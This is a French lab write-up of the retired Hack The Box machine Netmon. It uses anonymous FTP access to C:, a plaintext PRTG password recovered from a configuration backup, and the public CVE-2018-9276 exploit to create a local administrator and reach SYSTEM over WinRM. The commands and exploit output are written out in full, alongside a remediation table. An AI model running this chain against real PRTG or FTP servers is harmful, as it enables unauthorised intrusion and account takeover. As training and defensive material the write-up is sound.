picsou@htb:~/writeups/easy/netmon$

Windows Easy

Netmon : FTP anonyme sur C:, conf PRTG puis RCE CVE-2018-9276

FTP anonyme monté sur C: pour lire le flag user et la conf PRTG, mot de passe en clair dans un backup, puis RCE authentifiée PRTG (CVE-2018-9276) vers SYSTEM.

box
Netmon
os
Windows
difficulté
Easy
publiée le
temps
20 min
indices
aucun
outils
nmap ftp searchsploit evil-winrm
techniques
Scan de ports FTP anonyme Identifiants en clair Exploit public (CVE) WinRM
cve
CVE-2018-9276

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. FTP en anonyme, monté directement sur C:, donne le flag user et l'accès en lecture à tout le disque.
  2. La conf de PRTG (ProgramData\Paessler) contient le mot de passe admin en clair dans un vieux backup.
  3. Le mot de passe du backup date de 2018, il faut incrémenter l'année pour se connecter à PRTG.
  4. PRTG 18.1.37 est vulnérable à CVE-2018-9276 : injection de commande authentifiée dans une notification, exécutée en SYSTEM.
  5. L'exploit crée un admin local pentest, on rejoue en WinRM pour le flag root.

Reconnaissance

kali
nmap -sC -sV -oA nmap/netmon 10.129.230.176
nmap
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-title: Welcome | PRTG Network Monitor (NETMON)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012

Deux signaux qui se combinent et donnent tout de suite le plan : FTP anonyme autorisé (230), et un PRTG Network Monitor 18.1.37, une build ancienne. Le réflexe de triage : l'anonyme d'abord, la version figée (PRTG) ensuite.

Foothold

FTP anonyme monté sur C:

La connexion anonyme passe, et le listing racine n'est pas un répertoire FTP dédié : c'est le disque système (Windows, Users, Program Files, inetpub). On a donc un accès en lecture à tout le FS sans authentification.

kali
ftp anonymous@10.129.230.176
ftp
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  08:08AM       <DIR>          Users
11-10-23  10:20AM       <DIR>          Windows

Le flag user se lit directement dans le bureau de l'utilisateur Public :

ftp
ftp> cd "Users/Public/Desktop"
ftp> get user.txt

Récupérer la conf PRTG

Le port 80 tourne sous PRTG. Sa configuration, et donc ses identifiants, est stockée sur le disque, lisible via le FTP. Le dossier est dans ProgramData.

ftp
ftp> cd "ProgramData\Paessler\PRTG Network Monitor"
ftp> get "PRTG Configuration.old.bak"

On récupère le .old.bak (le backup), pas la conf active : le backup est antérieur au chiffrement et contient le mot de passe en clair.

Le mot de passe en clair

kali
grep -i -A8 dbpassword "PRTG Configuration.old.bak"
grep
<dbpassword>
  
  PrTg@dmin2018
</dbpassword>

Login PRTG : incrémenter l'année

On se connecte sur http://10.129.230.176/ avec prtgadmin:PrTg@dmin2019.

Élévation vers SYSTEM

CVE-2018-9276

PRTG 18.1.37 est vulnérable à CVE-2018-9276 : un paramètre d'une notification "Execute Program" n'est pas filtré et est passé à PowerShell, qui tourne en SYSTEM. L'exploit public automatise la création d'une notification malveillante et son déclenchement. Il a besoin du cookie de session authentifié.

kali
searchsploit -m 46527
./46527.sh -u http://10.129.230.176 -c "OCTOPUS1813713946=<valeur_du_cookie>"
exploit
 [*] adding a new user 'pentest' with password 'P3nT3st'
 [*] adding a user pentest to the administrators group
 [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!

Accès SYSTEM / root

Le compte pentest est membre des administrateurs locaux, donc WinRM passe :

kali
evil-winrm -i 10.129.230.176 -u pentest -p 'P3nT3st!'
pentest@netmon
*Evil-WinRM* PS C:\Users\pentest\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1FTP anonyme autorisé et monté sur la racine C:CritiqueDésactiver l'accès anonyme, cloisonner la racine FTP hors du disque système
F2Mot de passe PRTG en clair dans un backup de configuration lisibleÉlevéeProtéger les backups, bannir les mots de passe en clair, tourner les secrets après exposition
F3Mot de passe prévisible (incrément d'année sur une base connue)MoyenneMots de passe aléatoires sans schéma, gestionnaire de secrets
F4PRTG 18.1.37 vulnérable à CVE-2018-9276 (RCE authentifiée, SYSTEM)CritiqueMettre à jour PRTG (>= 18.2.39), faire tourner le service en droits minimaux

Leçons apprises

  • Un FTP anonyme monté sur C: n'est pas une simple fuite : c'est un accès lecture à tout le disque, flags et fichiers de conf compris. Toujours tester l'anonyme en premier.
  • ProgramData est le réflexe pour les secrets d'applis (PRTG, services) et il est caché : on y entre à l'aveugle par son chemin complet.
  • Un fichier de conf plein de <inherited/> est truffé de leurres : la vraie valeur est celle qui n'hérite pas.
  • Un mot de passe récupéré dans un vieux backup doit faire penser à l'incrément logique (année, saison) avant d'abandonner.
  • Un exploit qui affiche "success" ne prouve rien : ici le script validait un cookie mal formé sans rien créer. Vérifier l'effet réel (le compte existe ?) et non le message de sortie.

Références